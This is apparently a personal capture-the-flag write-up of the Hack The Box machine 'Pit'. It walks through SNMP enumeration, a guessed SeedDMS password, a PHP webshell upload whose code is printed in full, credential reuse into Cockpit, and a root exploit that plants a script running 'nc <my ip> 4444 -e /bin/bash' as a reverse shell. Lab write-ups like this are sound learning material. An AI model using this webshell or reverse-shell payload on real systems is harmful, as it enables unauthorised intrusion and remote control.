The course for joining the SAS has sessions called a “Sickener”. These are where recruits are pushed and pushed, without any end in sight. Its as much a psychological battle as it is physical. Probably more the former in all honesty.
This box is quite a close equivalent for the HTB world. ‘Pit’ uses a number of techniques I haven’t come across before so these are worth covering in this write-up.
My standard enumeration found a port open for SSH, HTTP and 9090 running an HTTPS web app. Those that don’t have a working knowledge of Linux in Enterprise might not have seen the web app previously – although I immediately recognised it as Cockpit. I had a poke at that to see if there was anything immediately exploitable. Which there wasn’t.
My nmap scripts had highlighted that a certificate was issued for dms-pit.htb and I dutifully added entries to me /etc/hosts file for this. Running ffuf against the port 80 target got me absolutely nowhere. I changed tactics I started hunting subdomains. And found nothing. Frustration got the better of me and I went looking for a hint. HTB Twitter had a nudge.
Apparently I need to ‘walk’. Do they mean snmpwalk?
snmpwalk -c public -v 2c 10.10.10.241
I’m not including the entire output here – its very long – but there was something that didn’t look quite right. It’d been so long since I’d run this command though I could not be sure. The sheer amount being returned made me suspicious that I needed to delve further. I sharpened up my snmp tooling grabbing snmp-mibs-downloader and running download-mibs as recommended on HackTricks – read more here: https://book.hacktricks.xyz/pentesting/pentesting-snmp – and executed these:
snmpwalk -v 2c -c public 10.10.10.241 NET-SNMP-EXTEND-MIB::nsExtendObjects
snmpwalk -v 2c -c public 10.10.10.241 NET-SNMP-EXTEND-MIB::nsExtendOutputFull
I also sniffed out https://github.com/dheiland-r7/snmp which has a perl script snmpbw.pl which is great for snmp enumeration.
Two things eventually presented themselves. The first a pointer toward another web app running on the box:
…and the second a pointer to the user account:
We only thought we’d scanned everything on port 80. We actually have to navigate to /seeddms51x/seeddms to get to the the application. A bit of googling showed up some recent vulnerabilities for Seed DMS, but nothing that was going to bypass the login screen.
Still we have the user michelle. Might as well try a few old favourites for the password… which was, let’s just say very guessable – and I was in.
I tried an exploit I found on exploitdb which was for v5.1.10. It didn’t work, and the more observant of you will see a note in the console saying it has been upgraded. Probably just as well I continued to not pay attention as my next assault might not have been tried. searchsploit seeddms also led me to try one which is only supposed to work on versions up to 5.1.11 (and at least the spiel in the note indicates the version is above that level and so presumably patched).
The exploit was nothing more that uploading a primitive webshell. I used the code they suggest (because why not):
<?php
if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}
?>This was uploaded as a file and then executed by navigating to:
dms-pit.htb/seeddms51x/data/1048576/<document id>/1.php?cmd=cat+/etc/passwd in the browser
This proved it worked, so I URL encoded a netcat reverse shell command which worked successfully. I then proceeded to spend OVER AN HOUR trying to get a Meterpreter shell. Can you tell I’m cross about this? I failed miserably to get myself something more stable than the awful reverse shell that kept dying on me.
I went on an enumeration safari after giving up all hope of getting myself into Metasploit territory. A few directories up the tree was the configuration file for the DMS which initially seemed to have nothing of interest – when suddenly the box died on me completely. When I managed to reconnect, the file had changed. Something fishy was going on. As I went through the file again there was now details of a SQL connection complete with a password. My assumption is that someone else was messing with the config file; this site does attract hackers after all.
I tried to actually get something useful out of the mysql database with the creds but alas. Another complete waste of time. I thought maybe I’d have some luck over ssh at this point. Nope. Thats only allowing public key auth and now I have a headache coming on.
Where do you go from here… Hang on… what about that Cockpit web app thats running on 9090?
Password reuse is pretty common on HTB just as it is in real life. Our user Michelle, for instance, has used this database password for herself too and this:
Soon became this:
One of the great things about Cockpit is that you can pull up a terminal (see the bottom left). This allowed me to trivially grab the user flag and start to think about how I’d get root. At this point I tried to add my public key so I could ssh in. I’m sure people 1000 miles away heard me scream when I couldn’t get that to work. Perhaps it’s just me but this part felt a tad unrealistic and forced. Still I have a working terminal. What more could I want. Apart from root.
sudo -l normally comes up with goods, but not this time. Apparently my user has no ability to elevate at all. I could bore you how linpeas brings back nothing of value and how file permissions don’t seem to have any cracks at all. I won’t.
It was back to square 1 and looking at the information collected through snmp. You really do need to go over everything line by line when enumerating. Of course, it helps massively if you know what a Linux box would normally output from an snmpwalk – because this was very different.
On a Linux box it isn’t normal to be able to see users. Windows will all too happily give you these – but a RHEL/CentOS box? Thats very odd. Lets have a look more closely at our output.
Firstly, the whole output in the middle is weird. It shouldn’t be there. Some of that output looks like it comes from semanage. Then look at the top where there’s a reference to a file called /usr/bin/monitor. Is that the file that’s producing this? Back to the Cockpit terminal…
So that script calls scripts sitting in the /usr/local/monitoring directory which start check and finish in sh – oh and we don’t have permission to see them. Cosmic. Okay so who does have permission to see them?
A ‘+’ indicates that this directory has got some kind of wacky races ACL applied to it. You could miss this if you weren’t careful. A lot of people might think that this directory is only accessible by root.
The getfacl command is used to interrogate the extended ACLs and gives us this:
We’re really into crack-pipe smoking system administration here. I’ve never come across anything like this in the real world (although I’m sure it happens all the time). Basically this says all users can access the directory and read the contents. Well everyone except poor michelle. For some bizarre reason she can write files there but she can’t read them.
I’m going to go all Memento on you now and jump ahead in the story. SNMP is a funny old protocol. Did you know it can randomly execute programs when it’s called? Below is part of the output from the snmp configuration on this box. It’s stored at /etc/snmp/snmpd.conf although you can only read it if you’re root.
The last line in the screenshot should have caught your attention. That weird output that I’ve been talking about is being generated by scripts sitting in /usr/local/monitoring called by /usr/bin/monitor and is being executed every time we walk the snmp tree. The scripts look like the below – note that as we suspected earlier, semanage is being called.
Going in back in time now, it should be obvious what we need to do. Create a shell script, appropriately named check.sh so that it’ll get executed by /usr/bin/monitor when we run our snmpwalk. We could put anything in this and it’ll execute as root. My personal payload of choice is the reverse shell. As per the recipe I execute nc -nlvp 4444 on my side in anticipation and pop nc <my ip> 4444 -e /bin/bash in our script which I then copy to /usr/local/monitoring. The final stage is running this:
snmpwalk -m ALL -v 2c -c public 10.10.10.241 NET-SNMP-EXTEND-MIB::nsExtendObjects
And we have a shell. Something is extremely weird though – I can’t cat root.txt. Nothing about this box is going to be easy clearly.
I tried copying the file somewhere else – but that failed. Fearing the worst, I injected my public key into /root/authorized_keys. I was relieved to find that I was finally able to ssh into the box at this point allowing me to collect the root.txt and handful of points.
Whilst its not what I deem a real life box, and as frustrating as the whole thing was, there’s plenty of good learning to be had. Worth the experience, even if it’ll take me a day or so to recover from the trauma.